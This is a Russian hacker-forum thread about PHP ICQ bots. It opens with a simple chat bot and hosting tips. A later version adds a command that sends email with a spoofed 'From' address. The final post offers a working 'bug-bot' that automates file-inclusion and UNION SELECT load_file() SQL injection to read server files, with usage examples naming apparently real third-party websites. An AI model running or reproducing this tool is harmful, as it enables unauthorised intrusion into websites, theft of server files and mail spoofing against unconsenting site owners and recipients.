Просмотр полной версии : ICQ Bot
Вот нашёл ICQ бота на PHP, использующего класс WebIcqLite.class.php (http://intrigue.ru/projects/icq/WebIcqLite.class.phps).
<?php
/*Created by Scorpion */
error_reporting (E_ALL);
set_time_limit(0);
ini_set ('max_execution_time', "0");
require_once('WebIcqLite.class.php');
define('UIN', '789012345');// Ваш номер icq
define('PASSWORD', '1ql66aa@');//Ваш пароль
$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}
while($icq->is_connected()){
$msg = $icq->read_message();
switch (strtolower($msg['message'])) {
case 'привет': //сообщение для бота
$icq->send_message($msg['from'], 'Привет Познакомимся?'); //ответ на сообщение для бота
break;
case'да':
$icq->send_message($msg['from'], 'Я ICQ BOT Scorpion');
break;
case'floodme': //сообщение для бота
for($i==0;$i<50;$i++) //50 раз
$icq->send_message($msg['from'],'Ненавижу флудеров'); //это сообщение
exit;
break;
case'quit': //сообщение для бота
$icq->disconnect(); //действие бота (выход)
exit;
break;
default: //если сообщение не содержит команду
$icq->send_message($msg['from'], 'Ты хочешь от меня слишком много, я только учусь?'); //ответ бота
}
flush();
sleep(1);
}
?>
Автор - Scorpion
Взято с http://grabberz.com/showpost.php?p=16492&postcount=1
Как юзать.
Для начала нам надо залить бота на хост. Для этого :
Для бота нужны поддержка сокетов, поэтому регаемся на 1gb.in (http://1gb.in/).
Заливаем на ваш сайт скрипт самого бота, предварительно изменив его, а в той же директории кладём этот скрипт (http://intrigue.ru/projects/icq/WebIcqLite.class.phps) под именем WebIcqLite.class.php.
И теперь просто запускаем скрипт бота. Вуаля! Бот в онлайне.
Объясните мне пожалуйста , что этот бот делает ?
xzDim
Там же написаны коменты! Бот получает сообщение и отвечает на него.
Объясните мне пожалуйста , что этот бот делает ?
Это, так сказать, Chat Bot :)
Вот это баян =\\\\\
Я писал намного лучше...на том же форуме гдето лежит..
LLIepuqo
30.03.2007, 10:56
А где достать самого бота?
LLIepuqo
А что тогда тут выожено в 1-ом посте? О_о вбиваешь в скрипт номер, пасс, стартуешь скрипт и твой бот в сети.
а как через него посылать многострочные посты?
а как через него посылать многострочные посты?
Просто меняешь Я ICQ BOT Scorpion на свое что хочешь написать и все.
Я мож и тупой, но не настолько)))
Я про другое.
Хочу, чтоб он списочком выводил, типа:
Список команд:
1- пойти нафиг
2- вырубит бота
3- ...
что-то такое... "\n" не работает.
GreenBear
30.03.2007, 18:20
а если я напишу "привет)" то этот супер мега кодер облажаетцо?
так зачем писать полное совпадение, как в примере? я пишу через совпадение контрольных частей...))
LLIepuqo
30.03.2007, 18:58
МНе пишет что ошибка в 8 строке...
Вот гляньте: http://www.w3llork.serverok.org/123/index.php
GreenBear
30.03.2007, 19:03
ковычку то поставь =\
LLIepuqo
30.03.2007, 20:22
Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил?
Вот кажется эта строка:
function open($url = array('login.icq.com', 5190))
Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил?
Вот кажется эта строка:
function open($url = array('login.icq.com', 5190))
Поддержки сокетов нет. Делай как я всё написал (1gb.in).
LLIepuqo
31.03.2007, 21:56
А как сделать приветствующее сообщение? Типо человек добавил бота в контакры, а бот ему выдал приветствие..
Боты на php - ацкое зверство.
Мозги себе ипать + глюки искать. И еще с сокетами возиться.
Делфи рулит!
На диске ][акера за 3-ий месяц есть сорц Icq-bot'а на Делфи, если кому надо и нет диска могу скинуть, пишите в ПМ или Icq: 465-790-267
Обновлён бот на PHP. Теперь он может отправлять сообщения на мыло. Просто отправляем ему письмо в таком формате otkogo@mail.ru::komy@mail.ru::Тема письма::Содержание письма.
<?php
/*Created by Scorpion */
error_reporting (E_ALL);
set_time_limit(0);
ini_set ('max_execution_time', "0");
require_once('WebIcqLite.class.php');
define('UIN', '?????????');// Ваш номер icq
define('PASSWORD', 'pass');//Ваш пароль
$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}
while($icq->is_connected()){
$msg = $icq->read_message();
if (eregi('admin', $msg['message']))
{
$pass=split(':',$msg['message']);
if(md5($pass[1])=='21232f297a57a5a743894a0e4a801fc3')
{
define('ADMIN', $msg['from']);
$icq->send_message($msg['from'], 'Welcome admin');
}
else
{
$icq->send_message($msg['from'], 'У вас осталось x попыток' );
}
}
if (preg_match('/^\S+@+\S+::\S+@+\S+::[^:]*::/', $msg['message']))
{
$email=split('::',$msg['message']);
@mail($email[1], $email[2], $email[3], 'From:'.$email[0]);
$icq->send_message($msg['from'], 'Ваше письмо для '.$email[1].' отправлено.');
}
else
switch (strtolower($msg['message'])) {
case 'привет':
$icq->send_message($msg['from'], 'Привет Познакомимся?');
break;
case'да':
$icq->send_message($msg['from'], 'Я ICQ BOT Scorpion');
break;
case'floodme':
for($i==0;$i<50;$i++)
$icq->send_message($msg['from'],'Ненавижу флудеров'); //при использовании номер будет забанене на некоторое время
exit;
break;
case'quit':
$icq->disconnect();
exit;
break;
default:
$icq->send_message($msg['from'], 'Ты хочешь от меня слишком много, я только учусь?');
}
flush();
sleep(1);
}
?>
Если кому надо, могу попросить автора сделать некоторые функции.
mad_xakep
12.04.2007, 18:34
а как скрипт бота запускать?
mad_xakep
12.04.2007, 18:48
а нельзя ли на другом сервере разместить кроме этого 1gb.in
Cawabunga
19.04.2007, 06:22
Научите пользоватся(
KPOT_f!nd
19.04.2007, 06:33
а нельзя ли на другом сервере разместить кроме этого 1gb.in
можно просто это холявный софт+ soket там есть(если мну память не изменяет)
Научите пользоватся(
перечитай с 1 страницы, много раз уже писали что и как с ним делать . . .
офф. размещу за 1 в месяц ;)
anarсhist
29.04.2007, 11:37
накидал тут тоже бота простенького (на webicqlite.class.php), попытался прикрутить к нему функцию показа прогноза погоды. чтобы особо не париться с парсингом gismeteo и ему подобных сайтов решил просто отсылать боту gismeteo название города, дожидаться ответа и отсылать запросчику ответ этого бота. но возникла проблема, бот гисметео не присылает ответ, перепробовал кучу других ботов ответ также не приходил... помогите кто чем может.
на счет серверов, можно разместить еще на awardspase.com, но мой бот трагически погиб через 2 недели (удалили гады).
Научите пользоватся(
Я же всё в первом посте написал.
http://www.1gb.in/
не нашёл как зарегиться(
все ссылки ведут на главную..(
Где найти хост?
anarсhist
01.05.2007, 00:54
скорее всего временно прекратили регистрацию, жди! :)
как скрипт запускаеться? а то я никак не пойму(
как скрипт запускаеться? а то я никак не пойму(
Браузером :)
У меня новая фигня, типа всё номано, запустил, первый раз запустил бота он просидел до тайм-аута =), после запускаю он стучиться пару раз в асю и вылетает в браузере выдаёт "UIN blocked, please try again 20 min later" =(
В чём проблема?
anarсhist
05.05.2007, 13:20
видимо слишком много попыток логина =). подожди 20 мин, если не терпится, то зарегай еще один номерок и впиши на время его .
Цеплял на свой хост(купленый) отказываеться номано работать.
ЦГде взять бессплатный, нормальтный хост для бота?
ЦГде взять бессплатный, нормальтный хост для бота?
мой висел на 1gb.in ибо там есть поддержка сокетов
<?php
error_reporting (E_ALL);
set_time_limit(FALSE);
ignore_user_abort(TRUE);
ini_set('max_execution_time', '0');
require_once('WebIcqLite.class.php');
define('UIN', '123456789'); //Номер бота
define('PASSWORD', 'PASSW0RD'); //Пароль бота
define('ADMIN', '555000'); //Номер админа бота
$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}
$icq->send_message(ADMIN, 'Online');
while($icq->is_connected())
{
$msg = $icq->read_message();
$m = strtolower($msg['message']);
$dirs = explode("\n", file_get_contents('dirs.txt'));
if(preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs))
{
$url = $regs[1];
$null = $regs[2];
function phpinj($url, $file, $null)
{
if($null == true)
{
$replace = $file.'%00';
$url_full = str_replace('[php]',urlencode($file).'%00',$url);
}
elseif($null == false)
{
$replace = $file;
$url_full = str_replace('[php]',urlencode($file),$url);
}
$urlOpen = file_get_contents($url_full);
if(preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen))
{
return false;
}
elseif($urlOpen)
{
return str_replace('[php]',$replace,$url);
}
}
if($null == 'true')
{
$null = true;
}
else
{
$null = false;
}
$send = '';
foreach($dirs as $dir)
{
$php_inj = phpinj($url, $dir, $null);
if($php_inj == true)
{
$search = true;
$send .= $php_inj."\n";
}
}
if($search == false)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}
else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}
}
elseif(preg_match("/^!sql-inj\s+'(.+)','(\d+)','(\d+)','(true|false)'$/",$m,$regs))
{
function sqlinj($url, $cols, $kol, $comm, $dir)
{
$one = '-1+union+select+';
for($i=1;$i<=$cols;$i++)
{
if($i != $kol)
{
$one .= $i;
}
else
{
$one .= 'load_file('.$dir.')';
}
if($i != $cols)
{
$one .= ',';
}
}
if($comm)
{
$comm = '/*';
}
else
{
$comm = null;
}
$url = str_replace('[sql]',$one.$comm,$url);
$urlOpen = file_get_contents($url);
$badUrl = file_get_contents(preg_replace('|load_file\((.+)\) |','load_file(0x74657374657374)',$url));
if(substr_count($urlOpen,'You have an error in your SQL syntax.') != '0' || $urlOpen == $badUrl)
{
return false;
}
else
{
return $url;
}
}
if($regs[4] == 'true')
{
$comment = true;
}
else
{
$comment = false;
}
$send = '';
foreach($dirs as $dir)
{
$dir = str_replace('../../../../../../../../../../../..',NULL,$dir);
$sql_inj = sqlinj($regs[1], $regs[2], $regs[3], $comment, '0x'.bin2hex($dir));
if($sql_inj == true)
{
$search = true;
$send .= $sql_inj."\n";
}
}
if($search != true)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}
else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}
}
elseif(preg_match("/!bugtraq\s+'(.+)'/",$m,$regs))
{
$openBugTraq = file_get_contents('http://www.securityfocus.com/swsearch?query='.$regs[1].'&sbm=archive%2F1%2F&submit=Search%21&metaname=alldoc&sort=swishrank');
preg_match_all('|<a href="http://www.securityfocus.com/archive/(\d+)/(\d+)">[\n\s]+(.*)|',$openBugTraq,$array,PREG_SET_ORDER);
$send = '';
foreach($array as $bug)
{
$search = true;
$send .= 'http://www.securityfocus.com/archive/'.$bug[1].'/'.$bug[2].' ['.$bug[3].']'."\n";
}
if($search != true)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}
else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}
}
elseif($msg['from'] == ADMIN && $m == '!quit')
{
$icq->send_message(ADMIN, 'Offline');
$icq->disconnect();
}
else
{
$icq->send_message($msg['from'], 'Ваша команда не распознана');
}
flush();
sleep(1);
}
?>
Написал небольшого баг-бота, функции:
1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename=[php]','false'
2. !sql-inj 'http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true'
3. !bugtraq 'phpMyAdmin'
Поясню:
1. Эта функция для поиска логов при php-инъекции. Где http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт.
2. Эта функция для поиска логов при sql-инъекции. Где http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет.
3. Ищем баги в двигах.
Файл директорий можете скачать от сюда:
http://webfile.ru/1542459
Он должен быть в одной директории с ботом и называться dirs.txt.
Бот попрежнему работает на WebIcqLite.class
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot